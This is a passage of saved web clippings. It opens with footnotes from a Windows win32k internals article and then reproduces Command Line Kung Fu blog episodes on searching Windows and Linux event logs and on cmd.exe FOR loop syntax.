x86 and x64 binaries and source code that puts the entirety of the above text
into a ‘I could’ve figured that out’ category.

* * *
Notes:  
\[1\]: The Win32Thread value reported by WinDbg when you use \!process or
\!thread is the address of the THREADINFO. With a Win7 target, ‘dt
win32k\!tagTHREADINFO \[address\]‘ will display the structure’s contents.

\[2\] \[3\]: More information on windowstations and desktops can be found
starting here

\[4\]: GetClipboardFormatName can also be used to get the name for a value
returned from RegisterWindowMessage. Clipboard format names, window messages,
window classes and these hook dll name atoms all share the same atom table.
You cannot use \(Global\)GetAtomName, these have usermode only atom tables.

# Command Line Kung Fu: October 2009

**Created:**| _11/24/2009 7:21:29 PM_  
---|---  
**Updated:**| _11/24/2009 7:21:34 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#66: Log Jam

Tim logs in:  
  
This episode we take a look at logs, the window to the soul of your computer.
Ok, maybe not, but we'll still look at them anyway. Windows has different ways
to view the Event Log via the command line depending on the version.  
  
In Windows 2003, XP, and older versions the classic event logs were
Application, System, and Security. Beginning with Vista, the entire event log
system changed. There is now a plethora of new logs in addition to the classic
logs. To fully discuss the differences we would need an entire white paper, so
we will stick with getting the familiar information from the event logs. To
make it even more fun, since Windows 7 and Server 2008 R2 are officially out,
we now have PowerShell Version 2 with its additional cmdlets and another way
to access the Event Log.  
  
We will kick off this week with PowerShell and its methods for retrieving
information from the Event Log. In v1, the only option for viewing the event
log was Get-EventLog. It would "get" the standard event logs such as System or
Application. In v2 we have Get-WinEvent, which allows retrieval of a wider
range of logs. It also allows us to work with saved event log files \(.evtx\)
which is a great new feature\! With Vista and beyond, Get-WinEvent is the
recommended method, but we will describe both cmdlets since there are a lot of
XP and Windows 2003 machines in addition to Vista and Windows 2008 \(R1\)
machines without PowerShell v2.  
  
Here is a demonstration that there is a difference in the number of logs
accessible by the powershell commands.  
  

[code]

    PS C:\> **(Get-WinEvent -ListLog *).Count**  
     164  
    PS C:\> **(Get-EventLog -List).Count**  
     12
[/code]

  
  
Whoa, there are a lot more logs\! We don't have the space to go over them all,
so let's look at a practical example of searching the logs for specific
events, such as an account lockout. I have a cheat sheet of Event IDs at my
desk, but I'm not there right now so let's find any event containing the word
"locked".  
  

[code]

    PS C:\> **Get-WinEvent -logname security | ? {$_.Message -like "*locked*"} | fl**  
     TimeCreated  : 10/24/2009 8:57:20 AM  
    ProviderName : Microsoft-Windows-Security-Auditing  
    Id           : 4740  
    Message      : A user account was locked out.  
     Subject:  
         Security ID:        S-1-5-19  
         Account Name:        MYWIN7BOX$  
         Account Domain:        MYDOMAIN  
         Logon ID:        0x3e7  
      
      Account That Was Locked Out:  
         Security ID:        S-1-5-21-1111111111-2222222222-3333333333-4000  
         Account Name:        mrjones  
      
      Additional Information:  
         Caller Computer Name:    MYWIN7BOX  
          
    PS C:\> **Get-EventLog -LogName security -Message *locked* | fl**  
     Index              : 3533232  
    EntryType          : SuccessAudit  
    InstanceId         : 4740  
    Message            : A user account was locked out.  
      
           Subject:  
               Security ID:        S-1-5-19  
               Account Name:        MYWIN7BOX$  
               Account Domain:        MYDOMAIN  
               Logon ID:        0x3e7  
      
           Account That Was Locked Out:  
               Security ID:        S-1-5-21-1111111111-2222222222-3333333333-4000  
               Account Name:        mrjones  
      
           Additional Information:  
               Caller Computer Name:    MYWIN7BOX  
    Category           : (13824)  
    CategoryNumber     : 13824  
    ReplacementStrings : {test, MYWIN7BOX, S-1-5-21-1111111111-2222222222-33...}  
    Source             : Microsoft-Windows-Security-Auditing  
    TimeGenerated      : 10/24/2009 8:57:20 AM  
    TimeWritten        : 10/24/2009 8:57:20 AM
[/code]

  
  
You'll notice that Get-EventLog has a parameter that allows searching for a
specific string in the message while Get-WinEvent does not. Oh well, you can't
win them all. Now we know the Event ID we are looking for, so we can use that
for the search. We pipe the command into fl, which is the alias for Format-
List, so that it is easier to read. To save space going forward we'll let
PowerShell use its default format \(Format-Table\).  
  
  

[code]

    PS C:\> **Get-EventLog Security | ? { $_.EventId -eq 4740}**  
     Index Time          EntryType   Source                 InstanceID Message  
    ----- ----          ---------   ------                 ---------- -------  
    3533232 Oct 24 08:57  SuccessA... Microsoft-Windows...         4740 A user ...  
      
    PS C:\> **Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4740}**  
     TimeCreated         ProviderName                         Id Message  
    -----------         ------------                         -- -------  
    10/24/2009 8:57:... Microsoft-Window...                4740 A user account w...
[/code]

  
  
Using the FilterHashtable parameter available with Get-WinEvent allows us to
do some filtering within the command instead of further down the pipeline,
which makes it much much faster. Here is the time difference:  
  

[code]

    PS C:\> **measure-command {Get-EventLog Security | ? { $_.EventId -eq 4740}} |  
          select TotalMilliseconds**  
    TotalMilliseconds : 1898.7783  
      
    PS C:\> **measure-command {Get-WinEvent -logname security | ? {$_.ID -eq 4740}} |  
          select TotalMilliseconds**  
    TotalMilliseconds : 24219.317  
      
    PS C:\> **measure-command {Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4740}} |  
          select TotalMilliseconds**  
    TotalMilliseconds : 61.8189
[/code]

  
  
The keys typically used for filtering are LogName, ID, StartTime, EndTime, and
UserID \(SID\). You can see a full list in the help page for that parameter
\(Get-Help Get-WinEvent -Parameter FilterHashtable\). The help page has a
decent description of the parameter and its usage. The examples \(Get-Help
Get-WinEvent -Examples\) are better at describing how it works.  
  
Now we know there was an account locked at 8:57. To see what happened within a
minute of that event the Before and After parameters are used to narrow the
scope.  
  

[code]

    PS C:\> **Get-EventLog -logname security -After 8:56 -Before 8:58**  
     Index Time          EntryType   Source                 InstanceID Message  
    ----- ----          ---------   ------                 ---------- -------  
    3533474 Oct 24 08:58 SuccessA... Microsoft-Windows...         5447 A Windo...  
    3533473 Oct 24 08:58 SuccessA... Microsoft-Windows...         5447 A Windo...  
    ...  
      
    PS C:\> **Get-WinEvent -FilterHashtable @{ logname="Security"; StartTime = "08:56";  
          EndTime = "08:58" }**  
    TimeCreated         ProviderName                         Id Message  
    -----------         ------------                         -- -------  
    10/24/2009 08:58... Microsoft-Window...                5447 A Windows Filter...  
    10/24/2009 08:58... Microsoft-Window...                5447 A Windows Filter...  
    ...
[/code]

  
  
  
Now let's try to find some other events such as service started \(7036\) or
stopped \(7035\), event log service started \(6006\) or stopped \(6005\), or
system shutdown \(1074\). These are all in the System Event Log and we can
find these with one big command.  
  

[code]

    PS C:\> **Get-EventLog -logname system | ? { $_.EventID -eq 7036 -or  
          $_.EventID -eq 7035 -or $_.EventID -eq 6006 -or $_.EventID -eq 6005  
          -or $_.EventID -eq 1074 }**  
      
    PS C:\> **Get-WinEvent -FilterHashtable @{LogName="System";  
          ID=7035,7036,6005,6006,1074}**
[/code]

  
  
In this example the Get-WinEvent command is much faster, my tests showed it to
be 10x faster.  
  
Getting context between event logs is always handy. Unlike Get-Eventlog, which
limits us to viewing only one log, Get-WinEvent we can look across all the
logs.  
  

[code]

    PS C:\>**Get-WinEvent -FilterHashtable @{LogName="System"  
          ID=7035,7036,6005,6006,1074},@{LogName="Security"; ID=4740} -Oldest**
[/code]

  
  
We can use an array of hash tables for filtering to get all the account
lockouts and all of the interesting events from the system log. These filters
are a union of the results, not an intersection \(adds not subtracts\).  
  
Both commands also support the -ComputerName option will allows us to
interrogate another system. Get-WinEvent allows us to use another set of
credentials to connect.  

[code]

    PS C:\> **Get-EventLog -ComputerName Ed**  
    ...  
    PS C:\> **$cred = Get-Credential**  
     PS C:\> **Get-WinEvent -ComputerName Ed -Credential $cred**
[/code]

  
  
The Get-Credential cmdlet will popup a prompt to ask you for your credentials.
The credentials are stored in a variable then used to connect to Ed's machine.  
  
So that is how we do it in powershell, but what about the accessing the "new"
event log with regular old windows command line?  
  
Windows Command Line - Vista, 2008 and 7  
  
Since Vista there is a new sheriff in town for dealing with Event Log,
wevtutil.exe. Too bad this is a bad sheriff. In episode 15, Ed stated, "The
wevtutil query syntax is impossibly complex, and something I frankly loath." I
completely agree. Everything about this command is sideways, even the default
format isn't readable. I highly suggest using PowerShell since anything but
the most basic query gets ugly. However, this command gives us a lot of
control over the event log besides querying such as enumerating logs, getting
or setting log configuration, getting log status, exporting, archiving, and
clearing logs. Querying is the goal of this episode, so here is the syntax
with the most common options:  
  

[code]

    wevtutil { qe | query-events } <LogName> /q:<XPathQuery>  
    /c:<# of events to return> /f:[XML|Text|RenderedXml]
    
[/code]

  
  
Let's use the command to view the System log.  
  

[code]

    C:> **wevtutil qe System**  
     <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Pr  
    ovider Name='Service Control Manager' Guid='{555908d1-a6d7-4695-8e1e-26931d2012f  
    4}' EventSourceName='Service Control Manager'/><EventID Qualifiers='49152'>7000<  
    /EventID><Version>0</Version><Level>2</Level><Task>0</Task><Opcode>0</Opcode><Ke  
    ywords>0x8080000000000000</Keywords><TimeCreated SystemTime='2009-10-23T19:07:02  
    .954026500Z'/><EventRecordID>433362</EventRecordID><Correlation/><Execution Proc  
    essID='460' ThreadID='5740'/><Channel>System</Channel><Computer>mycomputer.mydom  
    ain.locl</Computer><Security/></System><EventData><Data Name='param1'>Diagnostic  
    Service Host</Data><Data Name='param2'>%%1297</Data></EventData></Event>  
    <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Pr  
    ...
    
[/code]

  
  
Uh oh, by default the output is in XML, which means the /f:Text \(or
/format:Text\) option is something we are going to use a lot.  
  

[code]

    C:> **wevtutil qe System**  
     Event[0]:  
    Log Name: System  
    Source: Service Control Manager  
    Date: 2009-10-23T14:07:02.954  
    Event ID: 7000  
    Task: N/A  
    Level: Error  
    Opcode: N/A  
    Keyword: Classic  
    User: N/A  
    User Name: N/A  
    Computer: mywin7box  
    Description:  
    ...
    
[/code]

  
  
To search the logs you need to use an XPath query. As you remember from above
we were trying to find a locked account event, here is the equivalent search
using wevtutil.  
  

[code]

    C:\> **wevtutil qe Security /q:*[System[(EventID=4740)]] /f:text**
    
[/code]

  
Event\[0\]:  
Log Name: Security  
Source: Microsoft-Windows-Security-Auditing  
Date: 2009-10-24T14:08:59.279  
Event ID: 4740  
Task: User Account Management  
Level: Information  
...  
  
In the powershell section there were five different Event IDs we were
interested in, and wevtutil can do a similar search.  
  

[code]

    C:\> **wevtutil qe System /q:"*[System[(EventID=7035 or EventID=7036 or  
       EventID=6005 or EventID=6006 or EventID=1074)]]" /f:text | find "Event ID"**  
    Event ID: 7036  
    Event ID: 7036  
    Event ID: 1074  
    Event ID: 6006  
    Event ID: 7036  
    ...
    
[/code]

  
  
Unfortunately, there isn't a nice way to get results from two logs and combine
them. Even worse, querying for a specific time range isn't pretty.  
  

[code]

    C:\> **wevtutil.exe qe System /q:"*[System[(EventID=1074 and  
       TimeCreated[@SystemTime > '2009-10-23T21:04:15.000000000Z'])]]" /f:text**
    
[/code]

  
  
Enough of that nasty command, what do the rest of you guys have?  
  
Ed kicks it Old-Skool:  
  
On XP and 2003 boxen, we don't have wevtutil.exe... thank goodness. Instead,
we have the really nice built-in VB script \(Dear Mr. Editor... that's not a
typo... I really did mean "really nice VB script." Please don't remove.\)
called eventquery.vbs. By default, eventquery.vbs runs locally, although you
can provide it with a "/s " and it'll pull logs off of remote Windows boxen,
provided that you have administrative SMB access of said machines. Of course,
you should avoid logging in directly to a console or terminal session with
admin privs, and instead use "/u \ /p \[password\]" to specify some user other
than your current logon.  
  
We can then specify which event log we're interested in with the /l option
followed by the log name, which could include "application", "system",
"security", "DNS Server", or user-defined log names. To hit all logs, specify
a log of "/l \*". To specify multiple logs, you can re-use /l multiple times.  
  
The real magick with eventquery.vbs is its filter language, specified with /fi
followed by a filter in quotes. Our filters are built of an event attribute
name, followed by an operator, followed by a value. Attribute names include
Datetime, Type, \(event\) ID, User, Computer, Source, and Category. We then
have operators, such as eq \(equals\), ne \(not equals\), gt \(I don't have to
keep spelling them out, do I?\), lt \(of course not\), le \(this really isn't
cute anymore\), and ge \(so I'll stop doing it\). To specify more complex
filters, just put multiple /fi "\[filters\]", one after the other, and the
system will AND them all together.  
  
For output, we specify /fo \(which stands for "format output"\) followed by
list, table, or csv. The default is table, but I find csv to be the most
useful when I want to do more in-depth analysis at the command-line or in a
spreadsheet. For quick looks, though table is prolly best.  
  
You can list the most recent logs with the /r option followed by an integer N.
If N is negative, it'll list the N oldest events. You can specify a range of
integers to get the matching set of events in the logs, but I don't find that
all that useful.  
  
By default, the output of eventquery.vbs is really skimpy, showing only the
Type, Event ID, Date Time, Source, and ComputerName of each log. To get more
data \(including descriptions and associated accounts\), we can specify
verbose mode, with a handy /v. That /v is hugely important, because, without
it, eventquery.vbs doesn't include a description or many other really
important details. I almost always use /v with this command.  
  
So, let's apply our handy little eventquery.vbs to match Tim's searches above.  
  
Let's start by looking for all events associated with the word "locked":  
  

[code]

    C:\> eventquery.vbs /L security /fo csv /v | find /i "locked"  
    "Audit Success","644","10/26/2009 5:26:48 AM","Security","WILMA","Account Manage  
    ment","NT AUTHORITY\SYSTEM","User Account Locked Out:   Target Account Name:  
    bob     Target Account ID:      WILMA\bob       Caller Machine Name:    WILMA  
    Caller User Name:       WILMA$          Caller Domain:  WORKGROUP       Caller L  
    ogon ID:        (0x0,0x3E7)"
    
[/code]

Note that I did my find to look for the string "locked" in a case-insensitive
fashion with the /i. Also, note that the Event ID here is 644.  
  
I can search based on that Event ID by specifying a filter \(with /fi\):  
  

[code]

    C:\> eventquery.vbs /L security /fo csv /v /fi "id eq 644"  
    Microsoft (R) Windows Script Host Version 5.6  
    Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.  
      
    "Type","Event","Date Time","Source","ComputerName","Category","User","Descriptio  
    n"  
    "Audit Success","644","10/26/2009 5:26:48 AM","Security","WILMA","Account Manage  
    ment","NT AUTHORITY\SYSTEM","User Account Locked Out:   Target Account Name:  
    bob     Target Account ID:      WILMA\bob       Caller Machine Name:    WILMA  
    Caller User Name:       WILMA$          Caller Domain:  WORKGROUP       Caller L  
    ogon ID:        (0x0,0x3E7)"  
    
    
[/code]

  
Like Tim, let's see what happened from a minute before up to a minute after
this event occurred:  
  

[code]

    C:\> eventquery.vbs /L security /fo csv /v /fi "datetime gt 10/26/2009,05:25:48AM"  
         /fi "datetime lt 10/26/2009,05:27:48AM"  
    Microsoft (R) Windows Script Host Version 5.6  
    Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.  
      
    "Type","Event","Date Time","Source","ComputerName","Category","User","Descriptio  
    n"  
    "Audit Success","644","10/26/2009 5:26:48 AM","Security","WILMA","Account Manage  
    ment","NT AUTHORITY\SYSTEM","User Account Locked Out:   Target Account Name:  
    bob     Target Account ID:      WILMA\bob       Caller Machine Name:    WILMA  
    Caller User Name:       WILMA$          Caller Domain:  WORKGROUP       Caller L  
    ogon ID:        (0x0,0x3E7)"  
    "Audit Failure","680","10/26/2009 5:26:47 AM","Security","WILMA","Account Logon"  
    ,"NT AUTHORITY\SYSTEM","Logon attempt by:       MICROSOFT_AUTHENTICATION_PACKAGE  
    _V1_0  Logon account:   bob  Source Workstation:        WILMA  Error Code:  
    0xC000006A"  
    "Audit Failure","680","10/26/2009 5:26:45 AM","Security","WILMA","Account Logon"  
    ,"NT AUTHORITY\SYSTEM","Logon attempt by:       MICROSOFT_AUTHENTICATION_PACKAGE  
    _V1_0  Logon account:   bob  Source Workstation:        WILMA  Error Code:  
    0xC000006A"  
    "Audit Success","517","10/26/2009 5:26:38 AM","Security","WILMA","System Event",  
    "NT AUTHORITY\SYSTEM","The audit log was cleared        Primary User Name:  
    SYSTEM          Primary Domain: NT AUTHORITY    Primary Logon ID:       (0x0,0x3  
    E7)     Client User Name:       Administrator   Client Domain:  WILMA   Client L  
    ogon ID:        (0x0,0x11E5A)"  
    "Audit Failure","680","10/26/2009 5:26:48 AM","Security","WILMA","Account Logon"  
    ,"NT AUTHORITY\SYSTEM","Logon attempt by:       MICROSOFT_AUTHENTICATION_PACKAGE  
    _V1_0  Logon account:   bob  Source Workstation:        WILMA  Error Code:  
    0xC000006A"  
    "Audit Failure","680","10/26/2009 5:26:50 AM","Security","WILMA","Account Logon"  
    ,"NT AUTHORITY\SYSTEM","Logon attempt by:       MICROSOFT_AUTHENTICATION_PACKAGE  
    _V1_0  Logon account:   bob  Source Workstation:        WILMA  Error Code:  
    0xC0000234"  
    
    
[/code]

  
See here how I've bundled together two filters to implement a time range. And
we see... a bunch of failed logon attempts. Well, that makes sense. That's
what locked out the account.  
  
Continuing to mimic Tim's fu, here's how we can find service started events:  
  

[code]

    C:\> eventquery.vbs /l system /fi "id eq 7036" /v  
    Microsoft (R) Windows Script Host Version 5.6  
    Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.  
      
      
    ------------------------------------------------------------------------------  
    Listing the events in 'system' log of host 'WILMA'  
    ------------------------------------------------------------------------------  
    Type          Event  Date Time               Source            ComputerName  
    Category        User                 Description  
    ------------- ------ ----------------------- ----------------- ---------------  
    --------------- -------------------- -----------  
    Information   7036   10/26/2009 5:50:58 AM   Service Control M WILMA  
    None            N/A                  The Task Scheduler service entered the runn  
    ing state.  
    Information   7036   10/26/2009 5:50:16 AM   Service Control M WILMA  
    None            N/A                  The Task Scheduler service entered the stop  
    ped state.  
    
    
[/code]

  
To get information about event ID 7035 \(service stopped\), 6006 \(event log
service started\), 6005 \(event log service stopped\), or 1074 \(system
shutdown\), just substitute in those Event IDs in this query. "But," you might
say, "Tim did all of those in a single command, with PowerShell doing a
logical OR between them." Yes, and if Tim ran with scissors or jumped off the
Brooklyn Bridge, would you do that too? Well, unfortunately, while
eventquery.vbs does have "AND" \(intersection\) capabilities in its filters, I
haven't been able to get it to implement an "OR" \(union\) style filters. If I
want to do that, I simply run the command multiple times with different
filters, usually separated on a single command-line with &.  
  
So there. :P  
  
Hal gets cut off at the knees:  
  
You know something? I suggested the topic for this Episode. What the heck was
I thinking? There's no possible way I'm going to be able to cover all of the
different log file locations and log file formats for every flavor of Unix. So
I'm going to stick with Red Hat type operating systems \(including RHEL,
CentOS, and Fedora\) and hope you all will get enough hints to figure this out
for the particular forest of Unix you find yourself in. Ready? Let's do it\!  
  
As far as login type events go, one fruitful source of information is wherever
your system puts its LOG\_AUTH type logs. The tricky bit is that Linux systems
use LOG\_AUTHPRIV for this instead of LOG\_AUTH. So, let's first check out
syslog.conf and find out where these logs are going:  
  

[code]

    # **grep auth /etc/syslog.conf**  
     # Don't log private authentication messages!  
    *.info;mail.none;news.none;authpriv.none;cron.none      /var/log/messages  
    # The authpriv file has restricted access.  
    authpriv.*      /var/log/secure
    
[/code]

  
So on this system, the authpriv.\* stuff is ending up in /var/log/secure. Note
that the line that talks about /var/log/messages above explicitly  _prevents_
authpriv logs from ending up in the messages file-- that's what the
"authpriv.none" bit is about.  
  
To go along with Tim and Ed's example of looking for account lockout events, I
set up a test system and deliberately failed logging in to activate the
account lockout feature. Let's try some obvious grep searches on
/var/log/secure:  
  

[code]

    # **grep lock /var/log/secure**  
     # **grep hal /var/log/secure**  
    ...  
    Oct 26 17:19:03 deer sshd[10960]: Failed password for hal from 192.168.1.1 port 45903 ssh2  
    Oct 26 17:19:07 deer sshd[10960]: Failed password for hal from 192.168.1.1 port 45903 ssh2  
    Oct 26 17:19:11 deer sshd[10960]: Failed password for hal from 192.168.1.1 port 45903 ssh2  
    Oct 26 17:19:11 deer sshd[10960]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=associates.deer-run.com  user=hal  
    Oct 26 17:19:18 deer sshd[10962]: pam_tally(sshd:auth): user hal (500) tally 4, deny 3  
    Oct 26 17:19:20 deer sshd[10962]: Failed password for hal from 192.168.1.1 port 48941 ssh2  
    Oct 26 17:20:17 deer sshd[10962]: pam_tally(sshd:auth): user hal (500) tally 5, deny 3
    
[/code]

  
Yes, that's right, the account lockout messages in Linux don't actually
contain the string "lock" anywhere in the message, which is more than a little
annoying. Unless you're searching for the messages related to a specific user
as we're doing here, you need to know to search for the string "pam\_tally" to
find the account lockout events. pam\_tally being the Linux PAM module that
handles account lockout on failure. Yes, this is extremely non-obvious. Sorry
about that, nobody asked for my opinion when pam\_tally was being developed.  
  
By the way, I elided out some other login messages from /var/log/secure in the
example above so that it would be easier to see what the failure messages
looked like. But here is the rest of the grep output so that you can see some
successful authentication logs:  
  

[code]

    # **grep hal /var/log/secure**  
     Oct 26 15:23:00 deer sshd[9508]: Accepted password for hal from 192.168.1.1 port 27691 ssh2  
    Oct 26 15:23:00 deer sshd[9508]: pam_unix(sshd:session): session opened for user hal by (uid=0)  
    Oct 26 15:27:07 deer sshd[9508]: pam_unix(sshd:session): session closed for user hal  
    Oct 26 15:52:27 deer sshd[10667]: Accepted password for hal from 192.168.1.1 port 20043 ssh2  
    Oct 26 15:52:27 deer sshd[10667]: pam_unix(sshd:session): session opened for user hal by (uid=0)  
    Oct 26 17:17:30 deer su: pam_unix(su:session): session opened for user root by hal(uid=500)  
    ...
    
[/code]

  
As you can see, grep-ing for "pam\_unix" \(yet another Linux PAM module\) will
get you not only log in and log out events, but even su attempts. But those
logs don't show you the remote IP address that the user is connecting in
from-- you'll need to look for the "Accepted password" lines for that. Are we
having fun yet?  
  
You may find it easier to just use the last command:  
  

[code]

    # **last**  
     hal      pts/0        192.168.1.1        Mon Oct 26 15:52   still logged in     
    hal      pts/0        192.168.1.1        Mon Oct 26 15:23 - 15:27  (00:04)  
    ...
    
[/code]

  
Of course last only shows you successful logins. On Linux systems, lastb will
show you failed logins:  
  

[code]

    # **lastb**  
     hal      ssh:notty    192.168.1.1        Mon Oct 26 17:19 - 17:19  (00:00)      
    hal      ssh:notty    192.168.1.1        Mon Oct 26 17:19 - 17:19  (00:00)      
    hal      ssh:notty    192.168.1.1        Mon Oct 26 17:19 - 17:19  (00:00)      
    hal      ssh:notty    192.168.1.1        Mon Oct 26 17:19 - 17:19  (00:00)      
    hal      ssh:notty    192.168.1.1        Mon Oct 19 10:56 - 10:56  (00:00)
    
[/code]

  
  
Now let's talk about service start-up events. Actually, let's not. It turns
out that there is no consistently logged record of when particular services
are restarted on the system. Oh, the daemon itself may choose to log some
start-up events, but there's no global system-level logging of these kind of
events.  
  
Finding the logs created by a given daemon presents another problem. Often
Unix daemons will log to LOG\_DAEMON, so you can look at /etc/syslog.conf and
find out where these logs end up \(hint: it's /var/log/messages on a typical
Linux system\). But there will always be oddball daemons like Apache with
their own application-specific log files \(/var/log/httpd/\* on Red Hat\).
It's a mess.  
  
Maybe the easiest way to figure out when a daemon was started is to just look
at the output of ps:  
  

[code]

    # **ps -ef | grep http**  
     root     11253     1  0 18:05 ?        00:00:00 /usr/sbin/httpd  
    apache   11255 11253  0 18:05 ?        00:00:00 /usr/sbin/httpd  
    apache   11256 11253  0 18:05 ?        00:00:00 /usr/sbin/httpd  
    apache   11257 11253  0 18:05 ?        00:00:00 /usr/sbin/httpd  
    apache   11258 11253  0 18:05 ?        00:00:00 /usr/sbin/httpd  
    apache   11259 11253  0 18:05 ?        00:00:00 /usr/sbin/httpd  
    # **ps -ef | grep sshd**  
     root      5725     1  0 Jul27 ?        00:00:00 /usr/sbin/sshd  
    root     11032  5725  0 17:27 ?        00:00:00 sshd: hal [priv]   
    hal      11034 11032  0 17:27 ?        00:00:00 sshd: hal@pts/2  
    
[/code]

  
As you can see, the web server was started at 18:05 today. But all we know
about the ssh server is that it was started sometime on Jul27.  
  
At this point you're probably asking yourself, "Why is this all so difficult?"
Historically, Unix has always left logging up to the discretion of the
application developer. There isn't a single central auditing service \(or
consistent formatting requirements\) for applications in general. If you're
working on a system that enforces kernel-level auditing \(e.g. enabling BSM
under Solaris\) then you can pull out these sorts of events from the kernel
audit logs if you know what you're doing. But unfortunately, kernel-level
auditing is an optional feature and there are still plenty of sites out there
that don't enable it. So unfortunately we often just have to take what the app
developers decide to give us, even when it's not very much.

POSTED BY TIM MEDIN AT 5:00 AM

## TUESDAY, OCTOBER 20, 2009

### Episode \#65: Feeling Loopy

Ed is back in the saddle again:  
  
Well, I'm back from my adventures on the other side of Planet Earth. Many
thanks to Tim Medin for holding down the Windows fort while I was away. He
really did an awesome job sparring with Hal\! In fact, Tim was so good that
we're going to have him work as a regular contributor here, adding his
thoughts from a PowerShell perspective to each episode. Before now, he'd throw
in his insights on occasion, but now he's a regular -- our very own Command
Line Kung Fu blog FNG, if you will. Oh, and Tim... don't forget to empty the
wastebaskets and scrub the bathroom floor before you leave tonight. No, you
don't haveto wear the maid's outfit. Hal just thought you'd like it.  
  
Anyway, where was I? Oh yeah, writing a new episode for this week.  
  
Faithful readers \(yes, both of you\) know that we often use various kinds of
loops in the commands we construct here. Individual commands are certainly
powerful, but to really mess up your computer, it's helpful to have
\_iteration\_, doing the same thing again and again with some subtle
variations, repeating a process to do the same thing again and again, with
some sutble variations. If you look at our episodes, I think about 80% of them
actually use some sort of loop. And that got me thinking. I have an intuitive
feel for what kinds of loops are available in cmd.exe and when to use each
kind. But, I'd like to learn more about the looping options within bash and
PowerShell, and what specific uses are best for each kind of loop. So, I
figured the easiest way for me to learn about bash and PowerShell looping was
to throw down some cmd.exe options, and invite my Kung Fu partners to respond
in kind. I'll show you mine... if you show me yours. So, here goes.  
  
In cmd.exe, we really have just one command that implements loops: FOR. Sadly,
we don't have a WHILE. I'm not going to talk about GOTO, which we do have, but
it is for scripts and not for individual commands, the relentless focus of our
blog. Within the FOR command, however, we have numerous different kind of
looping options. Let me explain each, and talk about what it's most useful
for. Depending on how you count, there are 5 or 6 different kinds of FOR
loops\! \(The 5 versus 6 depend on whether you consider a FOR /R, a FOR /D,
and a FOR /D /R to be two or three different kinds of loops.\) What was
Microsoft thinking? Well, when you only have a hammer, the whole world looks
like a nail... and with our FOR loops in cmd.exe, we can attack many different
types of problems.  
  
Note that each loop has a similar structure: a FOR statement, an iterator
variable, the IN component, a \(set\) that describes what we iterate over
\(and is always included inside of parentheses \(\)\), a DO clause, and a
command for our iteration.  
  
FOR /L loops: These are iterating counters, working their way through
integers. Sorry, but they don't work through fractions, letters, or words....
just integers. Their syntax is:  
  

[code]

    C:\> FOR /L %[var] in ([start],[step],[stop]) do [command]
    
[/code]

  
The %\[var\] is the iterator variable, a value that will change at each
iteration through the loop. You can use any one letter of the alphabet for
this variable, such as %a or %i. Most people use %i as the canonical variable,
unless there is a specific reason to use something else. Also, note that %i
and %I are different variables, which gives us a total of 52 possible
different letters, the upper case and lower case sets.  
  
So, if you want to count from 1 to 100, you could run:  
  

[code]

    C:\> FOR /L %i in (1,1,100) do @echo %i
    
[/code]

  
Or, if you want a loop that'll run forever, you start counting at 1, count in
steps of zero, and count all the way to 2:  
  

[code]

    C:\> FOR /L %i in (1,0,2) do @echo Infinite Loop
    
[/code]

  
FOR /L loops are useful any time you have to count \(obviously\) but also any
time you need the equivalent of a "while \(1\)" loop to run forever.  
  
I covered FOR /L loops first, because they are both very easy and very useful,
and I wanted to set them aside before we start covering loops that iterate
over objects in the directory structure, namely FOR, FOR /D, FOR /R, and FOR
/R /D.  
  
Plain ol' FOR loops: These loops iterate over files, with the iterator
variable taking on the value of the names of files you specify in the \(set\).
For example, to list all .ini files inside of c:\windows, you could run:  
  

[code]

    C:\> FOR %i in (c:\windows\*.ini) do @echo %i
    
[/code]

  
It's a little-known fact that the \(set\) in these file/directory FOR loops
can have a space-separated list of file specifiers, so you could get all of
the .ini files in c:\windows\\\*.ini and c:\windows\system32\\\*.ini by just
running:  
  

[code]

    C:\> FOR %i in (c:\windows\*.ini c:\windows\system32\*.ini) do @echo %i
    
[/code]

  
Now, you might think, "Dude... I can do that same thing with the dir command"
and you'd be right. But, there is another aspect of file-iterating FOR loops
that give us more flexibility than the dir command. By using a variation of
the iterator variable, we can get other information about files, including
their size, their date/time, their attributes and what not. Access to these
items is available via:  
  

[code]

       %~fi        - expands %I to a fully qualified path name  
      %~di        - expands %I to a drive letter only  
      %~pi        - expands %I to a path only  
      %~ni        - expands %I to a file name only  
      %~xi        - expands %I to a file extension only  
      %~si        - expanded path contains short names only  
      %~ai        - expands %I to file attributes of file  
      %~ti        - expands %I to date/time of file  
      %~zi        - expands %I to size of file
    
[/code]

  
So, we could list the file's name, attributes, and size by running:  
  

[code]

    C:\> FOR %i in (c:\windows\*.ini) do @echo %i %~ai %~zi
    
[/code]

  
FOR /D loops: These loops iterate through directories instead of files. So, if
you want all directory names inside of c:\windows, you could run:  
  

[code]

    C:\> FOR /D %i in (c:\windows\*) do @echo %i
    
[/code]

  
FOR /R loops: Ahhh... but you may have noted that neither the plain ol' FOR
loops nor the FOR /D loops listed above actually recurse through the directory
structure. To make them do that, you'd need to do a /R. The FOR /R loop has a
slightly different syntax, though, in that we need to specify a path before
the iterator variable to tell it where to start recursion. By itself, FOR /R
recurses the directory structure, pulling out files names:  
  

[code]

    C:\> FOR /R c:\windows %i in (*.ini) do @echo %i
    
[/code]

  
That one will go through c:\windows and find all .ini files, displaying their
names.  
  
Now, what if you want just directories and not files? Well, you do a FOR /D
with a /R, as follows:  
  

[code]

    C:\> FOR /D /R c:\windows %i in (*) do @echo %i
    
[/code]

  
This will list all directories inside of c:\windows and its subdirectories.  
  
And that leaves us with the most complex kind of FOR loop in all of Windows.  
  
FOR /F loops: These loops iterate through... uhhh... stuff. Yeah, stuff. The
syntax is:  
  

[code]

    C:\> FOR /F ["options"] %[var] IN (stuff) DO [command]
    
[/code]

  
The stuff can be all manner of things. If the \(stuff\) has no special
punctuation around it, it's interpreted as a file set. But, the file set will
be iterated over in a different manner than what we saw with plain ol' FOR
loop and even FOR /R loops. With FOR /F, you'll actually iterate over each
line of the \_contents\_ of every file in the file set\! The iterator variable
will take on the value of the line, which you can then do all kinds of funky
stuff with, searching for specific text, parsing it out, using it as a
password, etc.  
  
If we specify the stuff with double quotes, as in \("stuff"\), the FOR /F loop
